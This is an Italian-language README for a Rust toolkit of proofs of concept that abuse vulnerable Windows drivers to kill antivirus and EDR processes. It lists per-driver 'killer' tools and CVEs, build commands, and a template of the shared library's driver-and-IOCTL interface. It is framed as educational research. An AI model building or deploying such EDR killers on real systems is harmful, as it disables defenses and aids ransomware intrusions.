
Casi d'uso di ricerca BYOVD che presentano scoperta di driver vulnerabili e metodologia di reverse engineering. (CVE-2025-52915, CVE-2025-1055, CVE-2026-3609, CVE-2026-8501).
BYOVD è una raccolta di PoC che dimostrano come driver vulnerabili possano essere sfruttati per disabilitare soluzioni AV/EDR.
La raccolta include sia driver non documentati sia quelli già coperti da LOLDDrivers o dalle regole di blocco driver consigliate da Microsoft.
Dal momento della sua scoperta iniziale, il driver TfSysMon è stato aggiunto a LOLDrivers e abusato da gruppi ransomware tramite lo strumento EDRKillShifter, come riportato da Sophos ed ESET
La tecnica BYOVD ha recentemente guadagnato popolarità nella sicurezza offensiva, in particolare con il rilascio di strumenti come il Terminator di SpyBoy (venduto a $3.000) e il progetto ZeroMemoryEx Blackout. Questi strumenti sfruttano driver vulnerabili per disabilitare gli agenti AV/EDR, facilitando ulteriori attacchi riducendo il rilevamento.
Questo repository contiene diversi PoC sviluppati a scopo educativo, per aiutare i ricercatori a comprendere come questi driver possano essere abusati per terminare processi.
Il progetto è organizzato come un workspace Rust Cargo. La maggior parte dei PoC condivide una libreria comune (byovd-lib) che gestisce il codice boilerplate: ciclo di vita del servizio driver, dispatch IOCTL, monitoraggio dei processi, regolazione dei privilegi e pulizia. Ogni killer è un binario snello (~50-100 righe) che definisce solo la propria configurazione specifica del driver. K7Terminator, Astra64-Killer, Ktapi-Killer e Xhunter1-Killer sono autonomi — hanno le proprie dichiarazioni [workspace] e vengono compilati direttamente dalle proprie directory, non tramite il workspace principale.```
BYOVD/
├── Cargo.toml # Workspace root (deps + release profile)
├── Cargo.lock
├── README.md
├── LICENSE
│
├── byovd-lib/ # Shared library
│ ├── Cargo.toml
│ └── src/
│ ├── lib.rs # DriverConfig trait + run() / send_ioctl() / run_monitor()
│ ├── service.rs # ByovdDriver -- SCM lifecycle (install/start/stop_and_delete)
│ ├── device.rs # DeviceHandle -- 5 typed IOCTL dispatch shapes
│ ├── handle.rs # WinHandle / ScHandle -- RAII handle wrappers (Send + Sync)
│ ├── process.rs # find_pid_by_name / find_all_pids_by_name
│ ├── monitor.rs # run_monitor_loop (closure-based) + setup_ctrlc_handler
│ ├── privilege.rs # enable_privilege / ensure_running_as_local_system
│ └── util.rs # to_wstring / to_cstring / get_current_dir
│
├── AppRemover-Killer/ # OPSWAT AppRemover ardrv.sys
├── Astra64-Killer/ # EnTech Astra32 / TVicHW astra64.sys -- standalone, data-only Shadow SSDT hijack EDR killer
├── BdApiUtil-Killer/ # Baidu BdApiUtil64 (CVE-2024-51324)
├── CcProtect-Killer/ # CnCrypt CcProtect
├── EnPortv-Killer/ # EnCase EnPortv
├── GameDriverX64-Killer/ # Fedeen GameDriverX64 (CVE-2025-61155)
├── GoFlyDrv-Killer/ # Golink GoFlyDrv
├── HNOs2Ec-Killer/ # HONOR PCManager HNOs2Ec.sys
├── HWAudioOs2Ec-Killer/ # Huawei Audio driver HWAudioOs2Ec.sys
├── K7Terminator/ # K7 RKScan -- standalone, LPE + BYOVD modes
├── Ksapi64-Killer/ # Kingsoft ksapi64
├── Ktapi-Killer/ # Kontron ktapi.sys -- standalone, two-stage shellcode EDR killer
├── MonProcess-Killer/ # HONOR HnRSMService MonProcess.sys
├── MonProcessEX-Killer/ # HONOR MagicAnimation and HONOR PCManager MonProcessEX.sys
├── NSec-Killer/ # NSEC NSecKrnl (ValleyRAT BYOVD reproduction)
├── PCTcore64-Killer/ # PC Tools PCTcore64 (CVE-2026-8501)
├── PoisonX-Killer/ # Microsoft PoisonX (j3h4ck reproduction)
├── STProcessMonitor-Killer/ # Safetica STProcessMonitor (CVE-2025-70795, v114 + v2618)
├── TfSysMon-Killer/ # ThreatFire sysmon
├── UnknownKiller/ # unattributed unknown.sys
├── Viragt64-Killer/ # Tg Soft viragt64
├── Wsftprm-Killer/ # Topaz wsftprm (CVE-2023-52271)
├── Xhunter1-Killer/ # Wellbia xhunter1.sys (CVE-2026-3609)
└── Xkpsm-Killer/ # JiranJikyosoft X-Keeper xkpsm
Ogni directory `*-Killer/` contiene il proprio `Cargo.toml`, `src/main.rs` (l'implementazione di `DriverConfig` + CLI), `README.md` (hash del driver + utilizzo) e il file `.sys` corrispondente che il binario carica in fase di esecuzione.
## 🔧 Compilazione
**Prerequisiti:** toolchain Rust e Visual Studio Build Tools con Windows SDK.```bash
# Build all tools (release, optimized + stripped)
cargo build --release
# Build a single tool
cargo build --release -p BdApiUtil-Killer
# Build multiple specific tools
cargo build --release -p NSec-Killer -p Wsftprm-Killer
I binari vengono generati in target/release/. Copia il file driver .sys corrispondente nella stessa directory dell'eseguibile prima di eseguirlo.
byovd-lib è la libreria condivisa su cui sono basati tutti i PoC (tranne K7Terminator). Espone due API complementari -- una dichiarativa ad alto livello per il flusso standard "installa driver, kill on sight, pulisci", e una imperativa a basso livello per i killer che necessitano di un flusso personalizzato (aggancio a un driver già caricato, fan-out su più PID, buffer IOCTL strutturati, logica di retry personalizzata, ecc.). Entrambe possono essere combinate nello stesso binario.
byovd-lib/src/ ├── lib.rs # DriverConfig trait + run() / send_ioctl() / run_monitor() ├── service.rs # ByovdDriver -- SCM lifecycle (install, start, stop_and_delete) ├── device.rs # DeviceHandle -- typed IOCTL dispatch (5 shapes) ├── handle.rs # WinHandle / ScHandle -- RAII handle wrappers (Send + Sync) ├── process.rs # find_pid_by_name / find_all_pids_by_name ├── monitor.rs # run_monitor_loop (closure-based) + setup_ctrlc_handler ├── privilege.rs # enable_privilege / ensure_running_as_local_system └── util.rs # to_wstring / to_cstring / get_current_dir
### API di alto livello: trait `DriverConfig` + `run()`
Questo è ciò che usano i killer inclusi. Implementa il trait, chiama `byovd_lib::run()`, fatto.```rust
use byovd_lib::{DriverConfig, Result};
use clap::Parser;
struct MyDriver;
impl DriverConfig for MyDriver {
fn driver_name(&self) -> &str { "MyDriver" }
fn driver_file(&self) -> &str { "mydriver.sys" }
fn device_path(&self) -> &str { "\\\\.\\MyDevice" }
fn ioctl_code(&self) -> u32 { 0xDEAD }
fn build_ioctl_input(&self, pid: u32, _name: &str) -> Vec<u8> {
pid.to_ne_bytes().to_vec()
}
}
#[derive(Parser)]
struct Cli {
#[arg(short = 'n', long = "name", required = true)]
process_name: String,
}